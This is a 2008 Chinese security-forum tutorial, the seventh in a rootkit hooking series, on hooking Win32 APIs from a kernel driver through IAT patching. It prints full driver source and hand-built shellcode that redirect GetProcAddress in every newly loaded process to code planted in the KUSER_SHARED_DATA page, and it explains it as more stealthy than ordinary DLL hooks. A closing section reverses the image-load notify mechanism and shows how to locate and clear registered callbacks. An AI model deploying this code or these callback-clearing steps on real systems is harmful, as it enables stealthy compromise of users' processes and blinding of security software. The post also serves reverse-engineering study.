|
|
[bgcolor=#ffffff]标 题:[/bgcolor][bgcolor=#ffffff] 【原创】rootkit hook 之[七]--- IAT Hook[/bgcolor][bgcolor=#ffffff]
作 者: combojiang
时 间: 2008-03-07,11:37:37
链 接: http://bbs.pediy.com/showthread.php?t=60778
[/bgcolor]
[bgcolor=#ffffff]今天这篇HOOK,主要是讲在内核中HOOK WIN32 API的办法。这个办法,比你采用全局钩子加载DLL来HOOK API的方法更具有隐蔽性。 到这里我们的内核hook 7篇组成的“七星剑法“就练完了。后面将开始关于保护模式的八篇文章,希望大家继续跟贴鼓励。[/bgcolor]
[bgcolor=#ffffff]在内核中hook win32 api需要用shellcode的东西。因此在内核中hook win32 api也具有魅力。因此,为了写好此篇,也花费了我不少时间。篇幅较长,大家慢慢看。[/bgcolor]
[bgcolor=#ffffff]这里有个问题要解决,就是你的hook 函数是在ring0中实现的,ring3如何能访问到呢?[/bgcolor]
[bgcolor=#ffffff]俗话说,天无绝人之路,总会有解决办法的。[/bgcolor]
[bgcolor=#ffffff]就是Barnaby Jack在论文“Remote Windows Kernel Exploitation: Step into the Ring 0”中所用的技术。它利用了两个虚地址映射到同一个物理地址这个事实。内核地址0xFFDF0000和用户地址0x7FFE0000都指向同一物理页面。 内核地址是可写的,但用户地址则不能。 [/bgcolor]
[bgcolor=#ffffff]也就说是说,我们可以在ring0层把信息写入到0xFFDF0000~0xFFDF0FFF的4K虚拟页面空间,由于用户地址0x7FFE0000也指向这个物理页面,所以我们在0xFFDF0000~0xFFDF0FFF地址写入的代码,在用户空间可以访问到。[/bgcolor]
[bgcolor=#ffffff]该共享区域的大小是4K。内核占用其中一部分,内存区域的名称是KUSER_SHARED_DATA。可以在WinDbg中看看。[/bgcolor]
[bgcolor=#ffffff]lkd> dt nt!_KUSER_SHARED_DATA[/bgcolor]
[bgcolor=#ffffff] +0x000 TickCountLow : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x004 TickCountMultiplier : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x008 InterruptTime : _KSYSTEM_TIME[/bgcolor]
[bgcolor=#ffffff] +0x014 SystemTime : _KSYSTEM_TIME[/bgcolor]
[bgcolor=#ffffff] +0x020 TimeZoneBias : _KSYSTEM_TIME[/bgcolor]
[bgcolor=#ffffff] +0x02c ImageNumberLow : Uint2B[/bgcolor]
[bgcolor=#ffffff] +0x02e ImageNumberHigh : Uint2B[/bgcolor]
[bgcolor=#ffffff] +0x030 NtSystemRoot : [260] Uint2B[/bgcolor]
[bgcolor=#ffffff] +0x238 MaxStackTraceDepth : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x23c CryptoExponent : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x240 TimeZoneId : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x244 Reserved2 : [8] Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x264 NtProductType : _NT_PRODUCT_TYPE[/bgcolor]
[bgcolor=#ffffff] +0x268 ProductTypeIsValid : UChar[/bgcolor]
[bgcolor=#ffffff] +0x26c NtMajorVersion : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x270 NtMinorVersion : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x274 ProcessorFeatures : [64] UChar[/bgcolor]
[bgcolor=#ffffff] +0x2b4 Reserved1 : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2b8 Reserved3 : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2bc TimeSlip : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE[/bgcolor]
[bgcolor=#ffffff] +0x2c8 SystemExpirationDate : _LARGE_INTEGER[/bgcolor]
[bgcolor=#ffffff] +0x2d0 SuiteMask : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2d4 KdDebuggerEnabled : UChar[/bgcolor]
[bgcolor=#ffffff] +0x2d5 NXSupportPolicy : UChar[/bgcolor]
[bgcolor=#ffffff] +0x2d8 ActiveConsoleId : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2dc DismountCount : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2e0 ComPlusPackage : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2e4 LastSystemRITEventTickCount : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2e8 NumberOfPhysicalPages : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2ec SafeBootMode : UChar[/bgcolor]
[bgcolor=#ffffff] +0x2f0 TraceLogging : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x2f8 TestRetInstruction : Uint8B[/bgcolor]
[bgcolor=#ffffff] +0x300 SystemCall : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x304 SystemCallReturn : Uint4B[/bgcolor]
[bgcolor=#ffffff] +0x308 SystemCallPad : [3] Uint8B[/bgcolor]
[bgcolor=#ffffff] +0x320 TickCount : _KSYSTEM_TIME[/bgcolor]
[bgcolor=#ffffff] +0x320 TickCountQuad : Uint8B[/bgcolor]
[bgcolor=#ffffff] +0x330 Cookie : Uint4B[/bgcolor]
[bgcolor=#ffffff] 我们看到4K页面对应的字节数是0x1000, 而实际操作系统只占用了0x334字节。而剩下的空间,我们当然可以利用了。demo程序中是从偏移800的位置开始的。这样,可用的字节数有2047个字节。[/bgcolor]
[bgcolor=#ffffff]到这里,所有的问题都解决了。当然了,这也不是唯一的解决办法,你也可以不把hook 函数放在ring0中,而是在ring0里将其注入到ring3某个模块的缝隙里。[/bgcolor]
[bgcolor=#ffffff]接下来,谈谈我们的思路,写一个驱动,利用PsSetLoadImageNotifyRoutine加载一个回调函数,由于回调函数中已经具备当前进程的一些信息,我们在这个回调函数中利用IAT hook的方式hook一个api,例如hook GetProcAddress。我们把要执行的函数写入共享区中.IAT HOOK的时候,直接指向共享区中我们写入的函数的地址。 当用户程序调用GetProcAddress api函数的时候,共享区中的这段shellcode码便被执行了。我们demo是指要调用 GetProcAddress 的地方都会弹出一个对话框。[/bgcolor]
[bgcolor=#ffffff]简单写一个shellcode如下:[/bgcolor]
复制代码
- #include "windows.h"
- int main(int argc, char* argv[])
- {
- HMODULE hM = LoadLibrary("user32.dll");
- _asm
- {
- push ebp
- call Deleta
- Deleta:
- pop ebp
- sub ebp,offset Deleta
- jmp $+0x0d
- fun1: //MessageBoxA的地址,这个我偷懒,是参照我机器上的写
- 死了,正规讲,要从iat中找出来,或者从user32.dll模块
- 的导出表中找出来,反正这里是个demo,没必要那么讲究
- 了。
- _emit 0x02
- _emit 0x07
- _emit 0xd5
- _emit 0x77
- fun2: //GetProcAddress地址 ,这个在IAT中替换
- _emit 0xa0
- _emit 0xad
- _emit 0x80
- _emit 0x7c
- push 0x00000040
- call L1
- _emit 'h'
- _emit 'e'
- _emit 'l'
- _emit 'l'
- _emit 'o'
- _emit 0
- _emit 0
- _emit 0
- L1:
- call L2
- _emit 'C'
- _emit 'o'
- _emit 'm'
- _emit 'b'
- _emit 'o'
- _emit 'j'
- _emit 'i'
- _emit 'a'
- _emit 'n'
- _emit 'g'
- _emit 0
- _emit 0
- L2:
- push 0
- lea eax,[ebp + fun1]
- call [eax]
- lea eax,[ebp + fun2]
- pop ebp
- jmp DWORD ptr[eax]
- }
- return 0;
- }
- 提取代码为:
- unsigned char new_code[] = {
- 0x55, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x81, 0xED, 0x45,
- 0x10, 0x40, 0x00, 0xE9, 0x08, 0x00, 0x00, 0x00, 0x02, 0x07,
- 0xD5, 0x77, 0xa0, 0xad, 0x80, 0x7c, 0x6A, 0x40, 0xE8, 0x08,
- 0x00, 0x00, 0x00, 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x00, 0x00,
- 0x00, 0xE8, 0x0c, 0x00, 0x00, 0x00, 0x43, 0x6F, 0x6D, 0x62,
- 0x6F, 0x6A, 0x69, 0x61, 0x6E, 0x67, 0x00, 0x00, 0x6A, 0x00,
- 0x8d, 0x85, 0x51, 0x10, 0x40, 0x00, 0xFF, 0x10, 0x8d, 0x85,
- 0x55, 0x10, 0x40, 0x00, 0x5d, 0xFF, 0x20};
- 呵呵,自从挂接了这个驱动,我的机器里面,随便启动个程序,就不停的弹出窗口了。下面贴出核心代码来。
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
- IN PUNICODE_STRING theRegistryPath)
- {
- NTSTATUS ntStatus;
- gb_Hooked = FALSE; // We have not hooked yet
- ntStatus = PsSetLoadImageNotifyRoutine(MyImageLoadNotify);
- return ntStatus;
- }
- VOID MyImageLoadNotify(IN PUNICODE_STRING FullImageName,
- IN HANDLE ProcessId, // Process where image is mapped
- IN PIMAGE_INFO ImageInfo)
- {
- UNICODE_STRING u_targetDLL;
- DbgPrint("Image name: %ws\n", FullImageName->Buffer);
- // Setup the name of the DLL to target
- RtlInitUnicodeString(&u_targetDLL, L"\\WINDOWS\\system32\\user32.dll");
- if (RtlCompareUnicodeString(FullImageName, &u_targetDLL, TRUE) == 0)
- {
- DbgPrint(" imageInfo->ImageBase:%x ProcessId : %d\n", ImageInfo->ImageBase, ProcessId);
- HookIAT(&u_targetDLL,"GetProcAddress",ProcessId);
- }
- }
- NTSTATUS HookIAT(PUNICODE_STRING pModuleName, PCHAR pFunctionName, HANDLE ProcessId)
- {
- ULONG pEProcess;
- PLIST_ENTRY pCurrentList = NULL, pTempList = NULL, pLoadOrderModuleList, list;
- PPEB pPeb = NULL;
- ULONG hModule, temp;
- PsLookupProcessByProcessId(ProcessId,(PEPROCESS*)&pEProcess);
- pPeb = (PPEB)(*(PULONG)(pEProcess + PEBOFFSET));
- if(pPeb != NULL)
- {
- KeAttachProcess((PEPROCESS)pEProcess); // 切换内存上下文到指定的进程
- //遍历进程模块
- pLoadOrderModuleList = pPeb->LoaderData->InLoadOrderModuleList.Flink;
- list = pLoadOrderModuleList;
- do // 遍历进程所加载模块中,直到找到EXE模块
- {
- UNICODE_STRING pstrTemp = ((PLDR_MODULE)list)->FullDllName;
- DbgPrint("module name = %ws\n\n\n\n",pstrTemp.Buffer);
- if(wcsstr(pstrTemp.Buffer,L".exe") != NULL)
- {
- hModule = (ULONG)((PLDR_MODULE)list)->BaseAddress;
- temp = *(PULONG)hModule;
- DbgPrint("Find Module baseAaddress = %x\n\n\n",hModule);
- HookImportsOfImage((PIMAGE_DOS_HEADER)hModule,ProcessId,pFunctionName);
- break;
- }
- list = list->Flink;
- } while(list != pLoadOrderModuleList);
- KeDetachProcess();
- }
- return STATUS_SUCCESS;
- }
- NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc,PCHAR pc_fnctar)
- {
- PIMAGE_DOS_HEADER dosHeader;
- PIMAGE_NT_HEADERS pNTHeader;
- PIMAGE_IMPORT_DESCRIPTOR importDesc;
- PIMAGE_IMPORT_BY_NAME p_ibn;
- DWORD importsStartRVA;
- PDWORD pd_IAT, pd_INTO;
- int count, index;
- char *dll_name = NULL;
- char *pc_dlltar = "kernel32.dll";
- PMDL p_mdl;
- PDWORD MappedImTable;
- DWORD d_sharedM = 0x7ffe0800;
- DWORD d_sharedK = 0xffdf0800;
- unsigned char new_code[] = {
- 0x55, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x81, 0xED, 0x45,
- 0x10, 0x40, 0x00, 0xE9, 0x08, 0x00, 0x00, 0x00, 0x02, 0x07,
- 0xD5, 0x77, 0xa0, 0xad, 0x80, 0x7c, 0x6A, 0x40, 0xE8, 0x08,
- 0x00, 0x00, 0x00, 0x68, 0x65, 0x6C, 0x6C, 0x6F, 0x00, 0x00,
- 0x00, 0xE8, 0x0c, 0x00, 0x00, 0x00, 0x43, 0x6F, 0x6D, 0x62,
- 0x6F, 0x6A, 0x69, 0x61, 0x6E, 0x67, 0x00, 0x00, 0x6A, 0x00,
- 0x8d, 0x85, 0x51, 0x10, 0x40, 0x00, 0xFF, 0x10, 0x8d, 0x85,
- 0x55, 0x10, 0x40, 0x00, 0x5d, 0xFF, 0x20};
- dosHeader = (PIMAGE_DOS_HEADER) image_addr;
- pNTHeader = MakePtr( PIMAGE_NT_HEADERS, dosHeader,
- dosHeader->e_lfanew );
- // First, verify that the e_lfanew field gave us a reasonable
- // pointer, then verify the PE signature.
- if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
- return STATUS_INVALID_IMAGE_FORMAT;
- importsStartRVA = pNTHeader->OptionalHeader.DataDirectory
- [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
- if (!importsStartRVA)
- return STATUS_INVALID_IMAGE_FORMAT;
- importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA + (DWORD) dosHeader);
- for (count = 0; importDesc[count].Characteristics != 0; count++)
- {
- dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
- DbgPrint("Imports from DLL: %s", dll_name);
- pd_IAT = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].FirstThunk);
- pd_INTO = (PDWORD)(((DWORD) dosHeader) + (DWORD)importDesc[count].OriginalFirstThunk);
- for (index = 0; pd_IAT[index] != 0; index++)
- {
- DbgPrint("Imports from DLL: %s", dll_name);
- DbgPrint(" Address: %x\n\n\n\n", pd_IAT[index]);
- // If this is an import by ordinal the high
- // bit is set
- if ((pd_INTO[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)
- {
- p_ibn = (PIMAGE_IMPORT_BY_NAME)(pd_INTO[index]+((DWORD) dosHeader));
- if ((_stricmp(dll_name, pc_dlltar) == 0) && \
- (strcmp(p_ibn->Name, pc_fnctar) == 0))
- {
- DbgPrint("Imports from DLL: %s", dll_name);
- DbgPrint(" Name: %s Address: %x\n", p_ibn->Name, pd_IAT[index]);
- // Use the trick you already learned to map a different
- // virtual address to the same physical page so no
- // permission problems.
- //
- // Map the memory into our domain so we can change the permissions on the MDL
- p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);
- if(!p_mdl)
- return STATUS_UNSUCCESSFUL;
- MmBuildMdlForNonPagedPool(p_mdl);
- // Change the flags of the MDL
- p_mdl->MdlFlags = p_mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
- MappedImTable = MmMapLockedPages(p_mdl, KernelMode);
- if (!gb_Hooked)
- {
- // Writing the raw opcodes to memory
- // used a kernel address that gets mapped
- // into the address space of all processes
- // thanks to Barnaby Jack
- DbgPrint("do........\n\n\n");
- RtlCopyMemory((PVOID)d_sharedK, new_code, 77);
- RtlCopyMemory((PVOID)(d_sharedK+22),(PVOID)&pd_IAT[index], 4);
- // gb_Hooked = TRUE;
- }
- // Offset to the "new function"
- *MappedImTable = d_sharedM;
- // Free MDL
- MmUnmapLockedPages(MappedImTable, p_mdl);
- IoFreeMdl(p_mdl);
- }
- }
- }
- }
- return STATUS_SUCCESS;
- }
[bgcolor=#ffffff]最后谈谈如何去除这种挂钩的办法。俗话说“知己知彼,百战不殆“。我们先分析看看它的实现原理。[/bgcolor]
[bgcolor=#ffffff]lkd> u PsSetLoadImageNotifyRoutine l 50[/bgcolor]
[bgcolor=#ffffff]nt!PsSetLoadImageNotifyRoutine:[/bgcolor]
[bgcolor=#ffffff]805c609e 8bff mov edi,edi[/bgcolor]
[bgcolor=#ffffff]805c60a0 55 push ebp[/bgcolor]
[bgcolor=#ffffff]805c60a1 8bec mov ebp,esp[/bgcolor]
[bgcolor=#ffffff]805c60a3 53 push ebx[/bgcolor]
[bgcolor=#ffffff]805c60a4 57 push edi[/bgcolor]
[bgcolor=#ffffff]805c60a5 33ff xor edi,edi[/bgcolor]
[bgcolor=#ffffff]805c60a7 57 push edi ;参数压栈[/bgcolor]
[bgcolor=#ffffff]805c60a8 ff7508 push dword ptr [ebp+8] ;参数压栈[/bgcolor]
[bgcolor=#ffffff]805c60ab e8ccd00300 call nt!ExAllocateCallBack (8060317c) ;函数调用[/bgcolor]
[bgcolor=#ffffff]805c60b0 8bd8 mov ebx,eax ;保存返回值[/bgcolor]
[bgcolor=#ffffff];判断是否成功,不成功则退出[/bgcolor]
[bgcolor=#ffffff]805c60b2 3bdf cmp ebx,edi[/bgcolor]
[bgcolor=#ffffff]805c60b4 7507 jne nt!PsSetLoadImageNotifyRoutine+0x1f (805c60bd)[/bgcolor]
[bgcolor=#ffffff]805c60b6 b89a0000c0 mov eax,0C000009Ah[/bgcolor]
[bgcolor=#ffffff]805c60bb eb2a jmp nt!PsSetLoadImageNotifyRoutine+0x49 (805c60e7)[/bgcolor]
[bgcolor=#ffffff];成功跳到这里[/bgcolor]
[bgcolor=#ffffff]805c60bd 56 push esi[/bgcolor]
[bgcolor=#ffffff]805c60be bee0a75580 mov esi,offset nt!PspLoadImageNotifyRoutine (8055a7e0)[/bgcolor]
[bgcolor=#ffffff]805c60c3 6a00 push 0[/bgcolor]
[bgcolor=#ffffff]805c60c5 53 push ebx[/bgcolor]
[bgcolor=#ffffff]805c60c6 56 push esi[/bgcolor]
[bgcolor=#ffffff]805c60c7 e8e0d00300 call nt!ExCompareExchangeCallBack (806031ac)[/bgcolor]
[bgcolor=#ffffff]805c60cc 84c0 test al,al[/bgcolor]
[bgcolor=#ffffff];找到并交换跳转[/bgcolor]
[bgcolor=#ffffff]805c60ce 751d jne nt!PsSetLoadImageNotifyRoutine+0x4f (805c60ed) ;[/bgcolor]
[bgcolor=#ffffff];没找到则继续循环[/bgcolor]
[bgcolor=#ffffff]805c60d0 83c704 add edi,4[/bgcolor]
[bgcolor=#ffffff]805c60d3 83c604 add esi,4[/bgcolor]
[bgcolor=#ffffff]805c60d6 83ff20 cmp edi,20h[/bgcolor]
[bgcolor=#ffffff]805c60d9 72e8 jb nt!PsSetLoadImageNotifyRoutine+0x25 (805c60c3)[/bgcolor]
[bgcolor=#ffffff];如果找遍了这个表都没有找到空的位置,则返回错误退出[/bgcolor]
[bgcolor=#ffffff]805c60db 53 push ebx[/bgcolor]
[bgcolor=#ffffff]805c60dc e80d010200 call nt!SeFreePrivileges (805e61ee)[/bgcolor]
[bgcolor=#ffffff]805c60e1 b89a0000c0 mov eax,0C000009Ah[/bgcolor]
[bgcolor=#ffffff]805c60e6 5e pop esi[/bgcolor]
[bgcolor=#ffffff]805c60e7 5f pop edi[/bgcolor]
[bgcolor=#ffffff]805c60e8 5b pop ebx[/bgcolor]
[bgcolor=#ffffff]805c60e9 5d pop ebp[/bgcolor]
[bgcolor=#ffffff]805c60ea c20400 ret 4[/bgcolor]
[bgcolor=#ffffff];修改计数和标记[/bgcolor]
[bgcolor=#ffffff]805c60ed b801000000 mov eax,1[/bgcolor]
[bgcolor=#ffffff]805c60f2 b9c8a75580 mov ecx,offset nt!PspLoadImageNotifyRoutineCount (8055a7c8)[/bgcolor]
[bgcolor=#ffffff]805c60f7 0fc101 xadd dword ptr [ecx],eax[/bgcolor]
[bgcolor=#ffffff]805c60fa c605bcf2668001 mov byte ptr [nt!PsImageNotifyEnabled (8066f2bc)],1[/bgcolor]
[bgcolor=#ffffff]805c6101 33c0 xor eax,eax[/bgcolor]
[bgcolor=#ffffff]805c6103 ebe1 jmp nt!PsSetLoadImageNotifyRoutine+0x48 (805c60e6)[/bgcolor]
[bgcolor=#ffffff]逆向为c的代码如下:[/bgcolor]
[bgcolor=#ffffff]NTSTATUS PsSetLoadImageNotifyRoutine( [/bgcolor]
[bgcolor=#ffffff] IN PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine [/bgcolor]
[bgcolor=#ffffff] )[/bgcolor]
[bgcolor=#ffffff]{ [/bgcolor]
[bgcolor=#ffffff] ULONG i;[/bgcolor]
[bgcolor=#ffffff] PEX_CALLBACK_ROUTINE_BLOCK CallBack;[/bgcolor]
[bgcolor=#ffffff] CallBack = ExAllocateCallBack(NotifyRoutine,NULL);[/bgcolor]
[bgcolor=#ffffff] if( CallBack == NULL)[/bgcolor]
[bgcolor=#ffffff] return STATUS_INSUFFICIENT_RESOURCES;[/bgcolor]
[bgcolor=#ffffff] [/bgcolor]
[bgcolor=#ffffff] for (i = 0; i < 0x20/4; i++) [/bgcolor]
[bgcolor=#ffffff] {[/bgcolor]
[bgcolor=#ffffff] [/bgcolor]
[bgcolor=#ffffff] if(ExCompareExchangeCallBack(& spLoadImageNotifyRoutine[/bgcolor][bgcolor=#ffffff],
CallBack,0)
{
InterlockedIncrement(& spLoadImageNotifyRoutineCount );
PsImageNotifyEnable = TRUE;
return STATUS_SUCCESS;
}
}
//释放CallBack这块内存
SeFreePrivileges (CallBack);
return STATUS_INSUFFICIENT_RESOURCES;
}
lkd> u ExAllocateCallBack l 30
nt!ExAllocateCallBack:
8060317c 8bff mov edi,edi
8060317e 55 push ebp
8060317f 8bec mov ebp,esp
80603181 6843627262 push 62726243h
80603186 6a0c push 0Ch
80603188 6a01 push 1
8060318a e8f122f4ff call nt!ExAllocatePoolWithTag (80545480)
8060318f 85c0 test eax,eax
80603191 740f je nt!ExAllocateCallBack+0x26 (806031a2)
80603193 8b4d08 mov ecx,dword ptr [ebp+8]
80603196 832000 and dword ptr [eax],0
80603199 894804 mov dword ptr [eax+4],ecx
8060319c 8b4d0c mov ecx,dword ptr [ebp+0Ch]
8060319f 894808 mov dword ptr [eax+8],ecx
806031a2 5d pop ebp
806031a3 c20800 ret 8
逆向为c的代码如下:
typedef struct _EX_CALLBACK_ROUTINE_BLOCK {
EX_RUNDOWN_REF RundownProtect;
PEX_CALLBACK_FUNCTION Function;
PVOID Context;
} EX_CALLBACK_ROUTINE_BLOCK, *PEX_CALLBACK_ROUTINE_BLOCK;
PEX_CALLBACK_ROUTINE_BLOCK ExAllocateCallBack (
IN PEX_CALLBACK_FUNCTION Function,
IN PVOID Context
)
{
PEX_CALLBACK_ROUTINE_BLOCK CallBack;
CallBack = ExAllocatePoolWithTag(1, 0x0c, 0x62726243);
if(CallBack)
{
CallBack->RundownProtect = 0;
CallBack->Function = Function;
CallBack->Context = Context;
}
}
lkd> u SeFreePrivileges
nt!SeFreePrivileges:
805e61ee 8bff mov edi,edi
805e61f0 55 push ebp
805e61f1 8bec mov ebp,esp
805e61f3 6a00 push 0
805e61f5 ff7508 push dword ptr [ebp+8]
805e61f8 e8e9ebf5ff call nt!ExFreePoolWithTag (80544de6)
805e61fd 5d pop ebp
805e61fe c20400 ret 4
逆向为c的代码如下:
VOID SeFreePrivileges(
IN PEX_CALLBACK_ROUTINE_BLOCK CallBack
)
{
ExFreePoolWithTag (CallBack,0);
}
下面我们总结下PsSetLoadImageNotifyRoutine的工作原理:
1)设置回调函数就是往数组中填充函数指针, 数组名为PspLoadImageNotifyRoutine ,
数组大小为0x20个字节,共8个元素,也就是说,最多存储8个回调函数。
数组已经填充的元素个数为PspLoadImageNotifyRoutineCount,PsImageNotifyEnable为活动标记,这些都是全局变量。
2)当pe文件被加载时,pe loader会调用MmMapViewOfSection,在这个函数中会调用MiMapViewOfImageSection函数,MiMapViewOfImageSection会根据PsImageNotifyEnable标记来填充IMAGE_INFO 结构,并执行PspLoadImageNotifyRoutine 数组里面的回调函数。
在我的电脑中,PspLoadImageNotifyRoutine 数组的内容如下:
lkd> dd 8055a7e0
8055a7e0 e146509f 00000000 00000000 00000000
8055a7f0 00000000 00000000 00000000 00000000
看到这里,我们的解决办法就有了, :
如果不想让某个NotifyRoutine 监控,就把它在PspLoadImageNotifyRoutine数组中对应项清空,可是PspLoadImageNotifyRoutine并没有导出,我们不能直接调用,有什么方法呢?对于这种情况的去除,这里也给出一个办法。
1) 我们自己写个MyNotifyRoutine.
VOID MyNotifyRoutine(
IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo)
{
return;
}
2) PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
3) 直接在PsSetLoadImageNotifyRoutine函数里找有效地址,然后访问这个地址,看有没有MyNotifyRoutine的地址,没有的话再找下一个;
4) 直到找到为止,那么此时这个有效地址就是PspLoadImageNotifyRoutine的地址了
5) 遍历PspLoadImageNotifyRoutine数组中的地址,检查这些地址是否落在某个驱动程序的地址范围,如果是的话,清了这一项,现在再LoadLibrary这个驱动程序就不会收到任何通知了。如果你闲麻烦就直接把PspLoadImageNotifyRoutine所有项都清理掉。[/bgcolor] |
|